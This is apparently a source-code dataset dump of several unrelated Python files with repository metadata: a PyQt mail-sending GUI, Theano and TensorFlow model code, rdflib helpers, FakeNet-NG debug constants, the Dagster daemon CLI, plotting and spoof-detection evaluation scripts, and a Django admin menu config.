QFileDialog.getOpenFileName(self, "選取檔案", "./", "Annex Files (*.jpg *.png *.zip)") org_files = obj.text() all_files = org_files + ',' + file_name if org_files else file_name obj.setText(all_files) def print_html(self, index): if index: self.in_edit_web.setHtml(self.in_edit_html.toPlainText()) def send_mail(self): eml_type = self.in_eml_type.text() eml_file = self.in_eml_template.text() user_group = self.in_recipient_group.text() mail_excel = self.in_recipient_excel.text() annex_file = self.in_annex_file.text() url = self.data_db[5] if self.data_db else 'http://yumail.myvnc.com' try: if self.cb_scheduler.isChecked(): my_time = self.in_scheduler.text()+':00' client = Client() client.send(self.data_smtp[:4], self.data_db[:5], eml_type, eml_file, user_group, mail_excel, annex_file, url, my_time) QMessageBox.information(self, 'Success!', '排程設定成功!', QMessageBox.Ok) else: sm = Smtp(self.data_smtp[0], int(self.data_smtp[1]), self.data_smtp[2], self.data_smtp[3]) if self.data_smtp else Smtp() db = Database(self.data_db[0], int(self.data_db[1]), self.data_db[2], self.data_db[3], self.data_db[4]) if self.data_db else Database() insert_send_mail(eml_type, eml_file, user_group, mail_excel, sm, db, annex=annex_file, url=url) sm.close() db.__disconnect__() QMessageBox.information(self, 'Success!', '信件寄出成功!', QMessageBox.Ok) except: QMessageBox.warning(self, 'Failed!', '信件寄出失敗!', QMessageBox.Ok) def show_sub_win(self): if self.data_smtp: self.sub_win = SubWindow() self.sub_win.btn_send.clicked.connect(self.send_test) self.sub_win.show() else: QMessageBox.warning(self, 'Failed!', '請確認有無 SMTP 資料!', QMessageBox.Ok) def send_test(self): try: if self.data_smtp: mailserver = Smtp(self.data_smtp[0], int(self.data_smtp[1]), self.data_smtp[2], self.data_smtp[3]) mail_msg = gm.gen_test_eml(['Test Email', '測試寄件人', self.data_smtp[2], self.sub_win.in_recipient.text()], self.data_smtp[5]) error = mailserver.send(mail_msg.as_string(), self.data_smtp[2], self.sub_win.in_recipient.text()) mailserver.close() if error: QMessageBox.warning(self, 'Warning!', '信件寄出成功!\nWaning: '+error, QMessageBox.Ok) else: QMessageBox.information(self, 'Success!', '信件寄出成功!', QMessageBox.Ok) self.sub_win.in_recipient.clear() except: QMessageBox.warning(self, 'Failed!', '信件寄出失敗!', QMessageBox.Ok) def eml_open(self): self.in_edit_html.clear() file_name, _ = QFileDialog.getOpenFileName(self, "選取檔案", "./", "Eml Files (*.eml)") if not file_name: return header, html = gm.get_msg(file_name) self.in_edit_sender.setText(header[2]) self.in_edit_sender_name.setText(header[1]) self.in_edit_subject.setText(header[0]) self.in_edit_html.insertPlainText(html) def eml_save(self): header, msg = [], '' header.append(self.in_edit_subject.text()) header.append(self.in_edit_sender_name.text()) header.append(self.in_edit_sender.text()) header.append('test@email.com') annex_file = self.in_edit_annex.text().split(',') html = self.in_edit_html.toPlainText() if not any(header[:3]) or not html: return try: msg = gm.gen_eml(header, html, annex_file) if self.cb_edit_annex.isChecked() else gm.gen_eml(header, html) file_path, _ = QFileDialog.getSaveFileName(self, '另存為...', './', 'Excel Files (*.eml)') with open(file_path, 'w') as outfile: gen = generator.Generator(outfile) gen.flatten(msg) QMessageBox.information(self, 'Success!', '儲存成功！', QMessageBox.Ok) except: QMessageBox.warning(self, 'Failed!', '儲存失敗！', QMessageBox.Ok) def eml_reset(self): items = self.get_items_from_layout(self.right_layout) for item in items: if type(item) == type(QLineEdit()): item.clear() self.cb_edit_annex.setChecked(False) self.in_edit_html.clear() def logs_change(self): if not self.data_logs or not self.in_logs_data.text(): return self.data_temp_logs = [] self.tbw_logs.setRowCount(0) # header = {'郵件類型':'type', '郵件主旨':'subject', '使用者群組':'user_group', '使用者信箱':'user_email'} condition = self.cmb_logs_choice.currentText() content = self.in_logs_data.text() row_num = len(self.data_logs) col_num = len(self.data_logs[0]) # self.tbw_logs.setRowCount(row_num) self.tbw_logs.setColumnCount(col_num) for i in range(row_num): switch = False if condition == 'date' and content in str(self.data_logs[i][condition]): switch = True elif self.data_logs[i][condition] == content: switch = True if switch: self.tbw_logs.insertRow(self.tbw_logs.rowCount()) row_data = list(self.data_logs[i].values()) self.data_temp_logs.append(self.data_logs[i]) for j in range(col_num): temp_data = row_data[j] item = QTableWidgetItem(str(temp_data)) item.setForeground(QBrush(QColor(144, 182, 240))) self.tbw_logs.setItem(self.tbw_logs.rowCount()-1, j, item) def logs_download(self): if self.data_temp_logs: try: file_path, _ = QFileDialog.getSaveFileName(self, '另存為...', './', 'Excel Files (*.xlsx)') if not file_path: return df = DataFrame(self.data_temp_logs) df.to_excel(file_path, index=False) QMessageBox.information(self, 'Success!', '儲存成功！', QMessageBox.Ok) except: QMessageBox.warning(self, 'Failed!', '儲存失敗！', QMessageBox.Ok) else: QMessageBox.warning(self, "缺少資料", "請確認是否有資料可以下載", QMessageBox.Ok) def quit_act(self): # sender 是发送信号的对象 sender = self.sender() print(sender.text() + '键被按下') qApp = QApplication.instance() qApp.quit() def main(): app = QApplication(sys.argv) gui = MailserverUi() gui.show() sys.exit(app.exec_()) if __name__ == '__main__': main()

41.75365

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4.561332

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0.082241

0.445694

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0.330676

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0

null

0

null

0

1

0

86947b6782d353d9c52f3c8165971a18131a9c5c

3,869

py

Python

nntools/layers/corrmm.py

317070/nntools

00e2865b1f8246254b3adc22c37989a8b77718d5

[ "MIT" ]

null

nntools/layers/corrmm.py

317070/nntools

00e2865b1f8246254b3adc22c37989a8b77718d5

[ "MIT" ]

null

nntools/layers/corrmm.py

317070/nntools

00e2865b1f8246254b3adc22c37989a8b77718d5

[ "MIT" ]

null

""" GpuCorrMM-based convolutional layers """ import numpy as np import theano import theano.tensor as T from theano.sandbox.cuda.basic_ops import gpu_contiguous from theano.sandbox.cuda.blas import GpuCorrMM from .. import init from .. import nonlinearities from . import base # base class for all layers that rely on GpuCorrMM directly class MMLayer(base.Layer): pass class Conv2DMMLayer(MMLayer): def __init__(self, input_layer, num_filters, filter_size, strides=(1, 1), border_mode=None, untie_biases=False, W=init.Uniform(), b=init.Constant(0.), nonlinearity=nonlinearities.rectify, pad=None, flip_filters=False): super(Conv2DMMLayer, self).__init__(input_layer) if nonlinearity is None: self.nonlinearity = nonlinearities.identity else: self.nonlinearity = nonlinearity self.num_filters = num_filters self.filter_size = filter_size self.strides = strides self.untie_biases = untie_biases self.flip_filters = flip_filters if border_mode is not None and pad is not None: raise RuntimeError("You cannot specify both 'border_mode' and 'pad'. To avoid ambiguity, please specify only one of them.") elif border_mode is None and pad is None: # no option specified, default to valid mode self.pad = (0, 0) elif border_mode is not None: if border_mode == 'valid': self.pad = (0, 0) elif border_mode == 'full': self.pad = (self.filter_size[0] - 1, self.filter_size[1] -1) elif border_mode == 'same': # only works for odd filter size, but the even filter size case is probably not worth supporting. self.pad = ((self.filter_size[0] - 1) // 2, (self.filter_size[1] - 1) // 2) else: raise RuntimeError("Unsupported border_mode for Conv2DMMLayer: %s" % border_mode) else: self.pad = pad self.W = self.create_param(W, self.get_W_shape()) if b is None: self.b = None elif self.untie_biases: output_shape = self.get_output_shape() self.b = self.create_param(b, (num_filters, output_shape[2], output_shape[3])) else: self.b = self.create_param(b, (num_filters,)) self.corr_mm_op = GpuCorrMM(subsample=self.strides, pad=self.pad) def get_W_shape(self): num_input_channels = self.input_layer.get_output_shape()[1] return (self.num_filters, num_input_channels, self.filter_size[0], self.filter_size[1]) def get_params(self): return [self.W] + self.get_bias_params() def get_bias_params(self): return [self.b] if self.b is not None else [] def get_output_shape_for(self, input_shape): batch_size = input_shape[0] input_width, input_height = input_shape[2:4] output_width = (input_width + 2*self.pad[0] - self.filter_size[0]) // self.strides[0] + 1 output_height = (input_height + 2*self.pad[1] - self.filter_size[1]) // self.strides[1] + 1 return (batch_size, self.num_filters, output_width, output_height) def get_output_for(self, input, *args, **kwargs): filters = self.W if self.flip_filters: filters = filters[:, :, ::-1, ::-1] # flip width, height contiguous_filters = gpu_contiguous(filters) contiguous_input = gpu_contiguous(input) conved = self.corr_mm_op(contiguous_input, contiguous_filters) if self.b is None: activation = conved elif self.untie_biases: activation = conved + self.b.dimshuffle('x', 0, 1, 2) else: activation = conved + self.b.dimshuffle('x', 0, 'x', 'x') return self.nonlinearity(activation)

37.931373

135

0.632205

517

3,869

4.535783

0.235977

0.055437

0.053731

0.025586

0.142431

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0.026439

0

0.015498

0.266219

3,869

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38.306931

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0

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0

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0

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false

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0.026667

0.28

0

null

0

null

0

1

0

8696b91ed345a9efbc515a25e28bfe35f30846c8

3,831

py

Python

ldtools/helpers.py

dmr/Ldtools

9cc5474404a07bd4b7ad756d31306dfc37a39c7b

[ "BSD-2-Clause" ]

3

2015-12-24T15:18:46.000Z

2022-02-09T06:56:40.000Z

ldtools/helpers.py

dmr/Ldtools

9cc5474404a07bd4b7ad756d31306dfc37a39c7b

[ "BSD-2-Clause" ]

1

2016-10-10T17:26:05.000Z

ldtools/helpers.py

dmr/Ldtools

9cc5474404a07bd4b7ad756d31306dfc37a39c7b

[ "BSD-2-Clause" ]

null

# -*- coding: utf-8 -*- from __future__ import print_function, unicode_literals try: unicode except NameError: basestring = unicode = str # Python 3 import logging import rdflib from rdflib import compare logger = logging.getLogger("ldtools") RESET_SEQ = "\033[0m" COLOR_SEQ = "\033[1;%dm" BOLD_SEQ = "\033[1m" # The background is set with 40 plus the number of the color, and # the foreground with 30 # These are the sequences need to get colored ouput BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8) COL = { 'DEBUG': BLUE, 'INFO': MAGENTA, 'WARNING': YELLOW, 'CRITICAL': YELLOW, 'ERROR': RED} def set_colored_logger(verbosity_level): class ColoredFormatter(logging.Formatter): def format(self, record): if record.levelname in COL: record.levelname = COLOR_SEQ % ( 30 + COL[record.levelname]) + record.levelname + RESET_SEQ record.msg = unicode(record.msg) record.msg = COLOR_SEQ % (30 + GREEN) + record.msg + RESET_SEQ return logging.Formatter.format(self, record) formatter = ColoredFormatter("%(asctime)s %(name)s %(funcName)s:%(lineno)d" " %(levelname)s: %(message)s") handler = logging.StreamHandler() handler.setFormatter(formatter) logger = logging.getLogger() logger.addHandler(handler) logger2 = logging.getLogger("ldtools._add_property") logger2.setLevel(logging.INFO) mapper = {1: logging.DEBUG, 2: logging.INFO, 3: logging.WARNING, 4: logging.ERROR, 5: None} try: log_level = mapper[verbosity_level] except KeyError: log_level = mapper[2] if log_level: logger.setLevel(log_level) return logger def my_graph_diff(graph1, graph2): """Compares graph2 to graph1 and highlights everything that changed. Colored if pygments available""" # quick fix for wrong type if not type(graph1) == type(graph2) == rdflib.Graph: if type(graph1) == rdflib.ConjunctiveGraph: g1contexts = list(graph1.contexts()) assert len(g1contexts) == 1 graph1 = g1contexts[0] if type(graph2) == rdflib.ConjunctiveGraph: g2contexts = list(graph2.contexts()) assert len(g2contexts) == 1 graph2 = g2contexts[0] # Return if both graphs are isomorphic iso1 = compare.to_isomorphic(graph1) iso2 = compare.to_isomorphic(graph2) if graph1.identifier == graph2.identifier: str_bit = u"The 2 '%s' Graphs" % graph1.identifier else: str_bit = (u"Graphs '%s' and '%s'" % (graph1.identifier, graph2.identifier)) if iso1 == iso2: logger.debug(u"%s are isomorphic" % str_bit) return print(u"Differences between %s." % str_bit) in_both, in_first, in_second = compare.graph_diff(iso1, iso2) def dump_nt_sorted(g): return sorted(g.serialize(format='nt').splitlines()) sorted_first = dump_nt_sorted(in_first) sorted_second = dump_nt_sorted(in_second) import difflib diff = difflib.unified_diff( sorted_first, sorted_second, u'Original', u'Current', lineterm='' ) try: from pygments import highlight from pygments.formatters import terminal from pygments.lexers import web lexer = web.XmlLexer() formatter = terminal.TerminalFormatter() print(highlight(u'\n'.join(diff), lexer, formatter)) except ImportError: logger.info("Install pygments for colored diffs") print(u'\n'.join(diff)) except UnicodeDecodeError: print(u"Only in first", unicode(sorted_first)) print(u"Only in second", unicode(sorted_second))

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453

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5.231788

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0.025316

0.01519

0.027004

0

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3,831

123

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0.814069

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0

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0

0.089137

0.012611

0

0.021739

1

0.043478

false

0

0.097826

0.01087

0.195652

0.065217

0

null

0

null

0

1

0

8696be28bebb97248ddd7aa9ff8ffc4d35ce9393

1,420

py

Python

fakenet/diverters/debuglevels.py

AzzOnFire/flare-fakenet-ng

bafd7e97b61cd43190dee7f1d2c3f4388488af76

[ "Apache-2.0" ]

null

fakenet/diverters/debuglevels.py

AzzOnFire/flare-fakenet-ng

bafd7e97b61cd43190dee7f1d2c3f4388488af76

[ "Apache-2.0" ]

null

fakenet/diverters/debuglevels.py

AzzOnFire/flare-fakenet-ng

bafd7e97b61cd43190dee7f1d2c3f4388488af76

[ "Apache-2.0" ]

null

# Debug print levels for fine-grained debug trace output control DNFQUEUE = (1 << 0) # netfilterqueue DGENPKT = (1 << 1) # Generic packet handling DGENPKTV = (1 << 2) # Generic packet handling with TCP analysis DCB = (1 << 3) # Packet handlign callbacks DPROCFS = (1 << 4) # procfs DIPTBLS = (1 << 5) # iptables DNONLOC = (1 << 6) # Nonlocal-destined datagrams DDPF = (1 << 7) # DPF (Dynamic Port Forwarding) DDPFV = (1 << 8) # DPF (Dynamic Port Forwarding) Verbose DIPNAT = (1 << 9) # IP redirection for nonlocal-destined datagrams DMANGLE = (1 << 10) # Packet mangling DPCAP = (1 << 11) # Pcap write logic DIGN = (1 << 12) # Packet redirect ignore conditions DFTP = (1 << 13) # FTP checks DMISC = (1 << 27) # Miscellaneous DCOMP = 0x0fffffff # Component mask DFLAG = 0xf0000000 # Flag mask DEVERY = 0x0fffffff # Log everything, low verbosity DEVERY2 = 0x8fffffff # Log everything, complete verbosity DLABELS = { DNFQUEUE: 'NFQUEUE', DGENPKT: 'GENPKT', DGENPKTV: 'GENPKTV', DCB: 'CB', DPROCFS: 'PROCFS', DIPTBLS: 'IPTABLES', DNONLOC: 'NONLOC', DDPF: 'DPF', DDPFV: 'DPFV', DIPNAT: 'IPNAT', DMANGLE: 'MANGLE', DPCAP: 'PCAP', DIGN: 'IGN', DFTP: 'FTP', DIGN | DFTP: 'IGN-FTP', DMISC: 'MISC', } DLABELS_INV = {v.upper(): k for k, v in DLABELS.items()}

33.023256

72

0.592958

166

1,420

5.066265

0.614458

0.030916

0.049941

0.057075

0

0.048544

0.274648

1,420

42

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33.809524

0.767961

0.359155

0

0.091114

0

0.044994

0

1

0

false

0

null

0

null

0

1

0

869714958dec93fb87488625f1ab7000485c9fb2

3,175

py

Python

multichannel_lstm/train.py

zhr1201/Multi-channel-speech-extraction-using-DNN

4e48869e02b815a8b094acc9251ac6586fda350c

[ "MIT" ]

65

2017-08-04T03:36:56.000Z

2022-03-10T07:25:17.000Z

multichannel_lstm/train.py

zhr1201/Multi-channel-speech-extraction-using-DNN

4e48869e02b815a8b094acc9251ac6586fda350c

[ "MIT" ]

7

2017-10-10T02:34:08.000Z

2019-09-27T08:59:27.000Z

multichannel_lstm/train.py

zhr1201/Multi-channel-speech-extraction-using-DNN

4e48869e02b815a8b094acc9251ac6586fda350c

[ "MIT" ]

39

2017-08-02T04:27:37.000Z

2021-11-03T06:43:25.000Z

''' Script for training the model ''' import tensorflow as tf import numpy as np from input import BatchGenerator from model import MultiRnn import time from datetime import datetime import os import matplotlib as mpl mpl.use('Agg') from matplotlib import pyplot as plt sum_dir = 'sum' # dir to write summary train_dir = 'ckpt' # dir to store the model data_dir = 'train.pkl' # dir of the data set NEFF = 129 # effective FFT points batch_size = 128 num_steps = 20 epochs = 2000 cell_type = 'NL_LSTM' state_size = 256 output_size = 129 num_layer = 3 learning_rate = 0.0001 # build the model rnn_model = MultiRnn( cell_type, state_size, output_size, batch_size, num_layer, learning_rate, num_steps) # input data and referene data placeholder in_data = tf.placeholder( tf.float32, [batch_size, num_steps, 2 * NEFF]) ref_data = tf.placeholder( tf.float32, [batch_size, num_steps, NEFF]) # make inference init_state, final_state, inf_data = rnn_model.inference(in_data) # compute loss loss = rnn_model.loss(inf_data, ref_data) saver = tf.train.Saver(tf.all_variables()) summary_op = tf.merge_all_summaries() train_op = rnn_model.train(loss) batch_gen = BatchGenerator(data_dir, batch_size, num_steps, epochs) with tf.Session() as sess: summary_writer = tf.train.SummaryWriter( sum_dir, sess.graph) sess.run(tf.initialize_all_variables()) steps = 0 # generator for epoch data for idx, epoch in enumerate(batch_gen.gen_epochs()): training_state = None # generator for batch data for f_data, b_data, r_data, v_data in epoch: start_time = time.time() steps += 1 in_data_np = np.concatenate((f_data, b_data), axis=2) if steps % 100 == 0: feed_dict = {in_data: in_data_np, ref_data: r_data} if training_state is not None: feed_dict[init_state] = training_state # training the net loss_value, training_state, _, summary_str, test_inf = sess.run( [loss, final_state, train_op, summary_op, inf_data], feed_dict) duration = time.time() - start_time sec_per_batch = float(duration) examples_per_sec = batch_size / duration format_str = ( '%s: step %d, loss = %.2f (%.1f examples/sec; %.3f ' 'sec/batch, epoch %d)') print (format_str % (datetime.now(), steps, loss_value, examples_per_sec, sec_per_batch, idx)) summary_writer.add_summary(summary_str, steps) else: feed_dict = {in_data: in_data_np, ref_data: r_data} if training_state is not None: feed_dict[init_state] = training_state loss_value, training_state, _ = sess.run( [loss, final_state, train_op], feed_dict) if steps % 10000 == 0: checkpoint_path = os.path.join(train_dir, 'model.ckpt') saver.save(sess, checkpoint_path, global_step=steps)

33.776596

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0.022496

0.02571

0.027317

0.170327

0.140332

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0

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0

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0.126761

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0

null

0

null

0

1

0

8697573e23a0bff4599f9e6ef4bcf4db3b6b315f

4,002

py

Python

python_modules/dagster/dagster/daemon/cli/__init__.py

elsenorbw/dagster

b38822d7463812624dab0b2dae7c62e2a8d59828

[ "Apache-2.0" ]

null

python_modules/dagster/dagster/daemon/cli/__init__.py

elsenorbw/dagster

b38822d7463812624dab0b2dae7c62e2a8d59828

[ "Apache-2.0" ]

null

python_modules/dagster/dagster/daemon/cli/__init__.py

elsenorbw/dagster

b38822d7463812624dab0b2dae7c62e2a8d59828

[ "Apache-2.0" ]

null

import os import sys import threading import time import warnings from contextlib import ExitStack import click import pendulum from dagster import __version__ from dagster.core.instance import DagsterInstance from dagster.daemon.controller import ( DEFAULT_DAEMON_HEARTBEAT_TOLERANCE_SECONDS, DagsterDaemonController, all_daemons_healthy, all_daemons_live, daemon_controller_from_instance, debug_daemon_heartbeats, get_daemon_status, ) from dagster.utils.interrupts import capture_interrupts, raise_interrupts_as def _get_heartbeat_tolerance(): tolerance = os.getenv( "DAGSTER_DAEMON_HEARTBEAT_TOLERANCE", ) return int(tolerance) if tolerance else DEFAULT_DAEMON_HEARTBEAT_TOLERANCE_SECONDS @click.command( name="run", help="Run any daemons configured on the DagsterInstance.", ) def run_command(): with capture_interrupts(): with DagsterInstance.get() as instance: if instance.is_ephemeral: raise Exception( "dagster-daemon can't run using an in-memory instance. Make sure " "the DAGSTER_HOME environment variable has been set correctly and that " "you have created a dagster.yaml file there." ) with daemon_controller_from_instance( instance, heartbeat_tolerance_seconds=_get_heartbeat_tolerance() ) as controller: controller.check_daemon_loop() @click.command( name="health-check", help="DEPRECATED, use liveness-check instead", ) def health_check_command(): warnings.warn("health-check is deprecated. Use liveness-check instead.") with DagsterInstance.get() as instance: if all_daemons_healthy(instance, heartbeat_tolerance_seconds=_get_heartbeat_tolerance()): click.echo("Daemon healthy") else: click.echo("Daemon not healthy") sys.exit(1) @click.command( name="liveness-check", help="Check for recent heartbeats from the daemon.", ) @click.option( "--heartbeat-tolerance", required=False, default=DEFAULT_DAEMON_HEARTBEAT_TOLERANCE_SECONDS, help="How long (in seconds) to allow a daemon to go without heartbeating before failing the dagster-daemon process.", ) def liveness_check_command(): with DagsterInstance.get() as instance: if all_daemons_live(instance, heartbeat_tolerance_seconds=_get_heartbeat_tolerance()): click.echo("Daemon live") else: click.echo("Daemon(s) not running") sys.exit(1) @click.command( name="wipe", help="Wipe all heartbeats from storage.", ) def wipe_command(): with DagsterInstance.get() as instance: instance.wipe_daemon_heartbeats() click.echo("Daemon heartbeats wiped") @click.command( name="heartbeat", help="Read and write a heartbeat", ) def debug_heartbeat_command(): with DagsterInstance.get() as instance: debug_daemon_heartbeats(instance) @click.command( name="heartbeat-dump", help="Log all heartbeat statuses", ) def debug_heartbeat_dump_command(): with DagsterInstance.get() as instance: for daemon_type in instance.get_required_daemon_types(): click.echo(get_daemon_status(instance, daemon_type)) @click.group( commands={"heartbeat": debug_heartbeat_command, "heartbeat-dump": debug_heartbeat_dump_command} ) def debug_group(): "Daemon debugging utils" def create_dagster_daemon_cli(): commands = { "run": run_command, "health-check": health_check_command, "liveness-check": liveness_check_command, "wipe": wipe_command, "debug": debug_group, } @click.group(commands=commands) @click.version_option(version=__version__) def group(): "CLI tools for working with the dagster daemon process." return group cli = create_dagster_daemon_cli() def main(): cli(obj={}) # pylint:disable=E1123

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0.217391

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null

0

null

0

1

0

869758494ec4227a029bca8c4e214109b3aea62a

331

py

Python

tests/exhaustive/nfl_tests.py

atklaus/sportsreference

22a45ea83ce1608c3176f00d4f414d5b9463605c

[ "MIT" ]

1

2020-03-08T20:17:39.000Z

tests/exhaustive/nfl_tests.py

atklaus/sportsreference

22a45ea83ce1608c3176f00d4f414d5b9463605c

[ "MIT" ]

null

tests/exhaustive/nfl_tests.py

atklaus/sportsreference

22a45ea83ce1608c3176f00d4f414d5b9463605c

[ "MIT" ]

null

import sys, os sys.path.append(os.path.dirname(os.path.dirname(sys.path[0]))) from sportsreference.nfl.teams import Teams for team in Teams(): print(team.name) for player in team.roster.players: print(player.name) for game in team.schedule: print(game.dataframe) print(game.dataframe_extended)

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0.700906

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0.060606

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0.003704

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331

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0.4

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null

0

null

0

1

0

86979f732a31535e5210a87577515eada4d424aa

1,116

py

Python

rust-old/python/examples/map_fields.py

SerebryakovMA/quelea

4bac70d60852a454ad6533d08a02e018c75dc377

[ "MIT" ]

3

2021-03-01T15:35:49.000Z

2021-04-04T17:24:48.000Z

rust-old/python/examples/map_fields.py

SerebryakovMA/quelea

4bac70d60852a454ad6533d08a02e018c75dc377

[ "MIT" ]

null

rust-old/python/examples/map_fields.py

SerebryakovMA/quelea

4bac70d60852a454ad6533d08a02e018c75dc377

[ "MIT" ]

null

import numpy as np import matplotlib import matplotlib.pyplot as plt import sys sys.path.append("../") from quelea import * nx = 217 ny = 133 x0 = 0 x1 = 30 # lambdas y0 = 0 y1 = 20 # lambdas xs = np.linspace(x0, x1, nx) ys = np.linspace(y0, y1, ny) # 2d array of (x, y, z, t) coords = np.array( [ [x, y, 0, 0] for x in xs for y in ys ] ) # for map_fields function this should be converted from 2D to 1D array coords = coords.reshape((4 * nx * ny,)) ftype = 1 # plane wave a0 = 1 # normalized field amplitude omega = 1 # frequency fparam = [a0, 1, 0, 0, 0, 1, 0, 0, omega] # parameters of the plane wave ex, ey, ez, bx, by, bz = map_fields(coords, ftype, fparam) # now convert to 2d arrays ex = ex.reshape((nx, ny)) ey = ey.reshape((nx, ny)) ez = ez.reshape((nx, ny)) bx = bx.reshape((nx, ny)) by = by.reshape((nx, ny)) bz = bz.reshape((nx, ny)) ex = ex.transpose() ey = ey.transpose() ez = ez.transpose() bx = bx.transpose() by = by.transpose() bz = bz.transpose() plt.imshow(ey, cmap = 'RdYlBu', origin = 'lower', extent = [x0, x1, y0, y1]) plt.colorbar() plt.clim(-a0, a0) plt.savefig("map_fields.pdf")

21.882353

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1,116

3.565

0.405

0.039271

0.092567

0

0.049945

0.192652

1,116

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0.741398

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0

1

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false

0

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0

0.135135

0

null

0

null

0

1

0

86981ef4c2dc9e662bd6493203efcef25a7c5284

4,709

py

Python

test.py

t-kaichi/hyperspoof

6effdf03be8489ba74154a12416c69948681aa51

[ "MIT" ]

10

2021-06-23T09:42:30.000Z

2022-03-31T22:26:17.000Z

test.py

t-kaichi/hyperspoof

6effdf03be8489ba74154a12416c69948681aa51

[ "MIT" ]

null

test.py

t-kaichi/hyperspoof

6effdf03be8489ba74154a12416c69948681aa51

[ "MIT" ]

null

import os from absl import app from absl import flags import numpy as np import tqdm from tensorflow.keras import Model from albumentations import ( Compose, HorizontalFlip, RandomBrightness,RandomContrast, ShiftScaleRotate, ToFloat, VerticalFlip) from utils import reset_tf from eval_utils import calc_score_variance from models import build_seg_model, build_pixel_mlp_class_model from VegetableSequence import VegetableDataset, VegetableSequence from temporal_random_seed import TemporalRandomSeed import myFlags FLAGS = flags.FLAGS def main(argv): reset_tf(FLAGS.device) ds_info = VegetableDataset(FLAGS.data_path) dim = ds_info.hsi_dims cats = ds_info.get_categories() # spoof file path assert FLAGS.spoof_type == "print" or FLAGS.spoof_type == "replay" spooffn = "224_224.m.rf.npy" spoofdir = '03' if FLAGS.spoof_type == 'print' else '04' # "04": replay spooffns = [os.path.join(ds_info.DATASET_ROOT_PATH, str(i).zfill(2), "05", spoofdir, spooffn) for i in cats] # dataset generation input_shape = (224, 224, dim) AUGMENTATIONS_ALL = Compose([ HorizontalFlip(p=0.5), VerticalFlip(p=0.2), RandomContrast(limit=0.001, p=0.5), RandomBrightness(limit=0.001, p=0.5), ShiftScaleRotate( shift_limit=0.3, scale_limit=0.9, rotate_limit=30, border_mode=4, p=0.8),# cv2.BORDER_REFLECT_101 ToFloat(max_value=1024) ]) AUGMENTATIONS_SIMPLE = Compose([ ToFloat(max_value=1024) ]) test_aug_gen = VegetableSequence(dataset=ds_info, instance_ids=[5], sample_ids=[1,2], random_state=2, batch_size=32, augmentations=AUGMENTATIONS_ALL, isTest=True) # build and load models print("building model") nb_classes = ds_info.object_categories seg_model = build_seg_model(input_shape=input_shape) seg_model.load_weights(FLAGS.seg_model) pix_class_model = build_pixel_mlp_class_model( nb_classes=nb_classes, input_shape=(1,dim)) pix_class_model.load_weights(FLAGS.class_model) penultimate_feat_extractor = Model(inputs=pix_class_model.input, outputs=pix_class_model.get_layer("penultimate").output) def predict_pixel_merge(xs): _xs_seg = np.argmax(seg_model.predict(xs), axis=-1) assert len(_xs_seg) == len(xs) _var_fs = [] # variance of the penultimate features for i in range(len(xs)): _x = xs[i] _x_seg = _xs_seg[i] _x_pixels = _x[_x_seg > 0] _x_pixels = _x_pixels[:, np.newaxis, :] _f_pixels = penultimate_feat_extractor.predict(_x_pixels, batch_size=224*224*dim).reshape(-1, FLAGS.penultimate_nodes) _var_f = np.sum(np.var(_f_pixels, axis=0)) _var_fs.append(_var_f) return _var_fs predict_func = predict_pixel_merge var_fs = [] true_labels = [] # process live images for i in tqdm.trange(FLAGS.live_augs, desc="live augumentations"): for batch in tqdm.tqdm(test_aug_gen, desc="live augumentations batch"): xs, ys = batch var_f = predict_func(xs) var_fs.extend(var_f) true_labels.extend(np.argmax(ys, axis=1)) # process spoof images with TemporalRandomSeed(2021): for fn in tqdm.tqdm(spooffns, desc="spoofs"): x = np.load(fn).astype("uint16") xs_aug = np.array([AUGMENTATIONS_ALL(image=x)["image"] for i in range(FLAGS.spoof_augs)]) var_f = predict_func(xs_aug) var_fs.extend(var_f) true_labels.extend([10000] * FLAGS.spoof_augs) # spoof label: 10000 # calculate accuracy true_labels = np.array(true_labels) var_fs = np.array(var_fs) bin_labels, uncertainties, results = calc_score_variance(true_labels, var_fs) # save results expr_name = parentdirname(FLAGS.class_model) save_result_cache(expr_name, bin_labels, uncertainties, results) return 0 def save_result_cache(expr_name, labels, uncertainties, results): dn = os.path.join(FLAGS.out_path, expr_name) os.makedirs(dn, exist_ok=True) np.save(os.path.join(dn, "binary_labels.npy"), labels) np.save(os.path.join(dn, "uncertainties.npy"), uncertainties) with open(os.path.join(dn, "results.txt"), "w") as f: for i, result in enumerate(["TNR95: ", "Detection acc.: ", "ROC: "]): f.write(result + str(results[i]) + "\n") print("saved to " + dn) def parentdirname(path): return os.path.basename(os.path.dirname(path)) if __name__ == "__main__": app.run(main)

36.503876

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0.660437

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4,709

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0.330733

0.015306

0.017007

0.012245

0.087755

0.060544

0.021088

0

0.026272

0.232109

4,709

129

85

36.503876

0.786781

0.046931

0

0.058824

0

0.04847

0

0.019608

1

0.039216

false

0

0.127451

0.009804

0.196078

0.039216

0

null

0

null

0

1

0

8698961278b2541aa172b54c8053ea36ceff0d54

4,612

py

Python

generator/apps.py

TheJacksonLaboratory/jaxid_generator

be5222d9c5ce57a169b94b0afd1ae9f7f10a66c1

[ "Apache-2.0" ]

2

2020-10-19T17:21:09.000Z

2020-10-20T14:27:25.000Z

generator/apps.py

cometsong/jaxid_generator

be5222d9c5ce57a169b94b0afd1ae9f7f10a66c1

[ "Apache-2.0" ]

null

generator/apps.py

cometsong/jaxid_generator

be5222d9c5ce57a169b94b0afd1ae9f7f10a66c1

[ "Apache-2.0" ]

null

from django.conf import settings from suit import apps from suit.apps import DjangoSuitConfig from suit.menu import ParentItem, ChildItem APP_NAME = settings.APP_NAME WIKI_URL = settings.WIKI_URL class SuitConfig(DjangoSuitConfig): name = 'suit' verbose_name = 'Mbiome Core JAXid Generator' site_title = 'Mbiome Core JAXid Tracking' site_header = site_title index_title = verbose_name layout = 'vertical' list_per_page = 35 # header_date_format = 'l, d-M-o' # header_time_format = 'H:i e' menu = ( ParentItem('JAX Id Record Lists', use_first_child_url=True, url='', children=[ ChildItem('JAXid Records', model='id_generate.jaxiddetail'), ChildItem(model='id_generate.boxid'), ChildItem(model='id_generate.plateid'), ], icon='fa fa-list-ul'), ParentItem('Reference Data', use_first_child_url=True, url='', children=[ ChildItem(model='id_generate.projectcode'), ChildItem(model='id_generate.nucleicacidtype'), ChildItem(model='id_generate.sampletype'), ChildItem(model='id_generate.sequencingtype'), ], icon='fa fa-list'), ParentItem( label='Generate new JAXid''s', url=f'/{APP_NAME}/manage/id_generate/jaxiddetail/import/', permissions='id_generate.change_jaxiddetail', icon='fa fa-rocket'), ParentItem( label='Generate new Box ID''s', url=f'/{APP_NAME}/manage/id_generate/boxid/import/', permissions='id_generate.change_boxid', icon='fa fa-cube'), ParentItem( label='Generate new 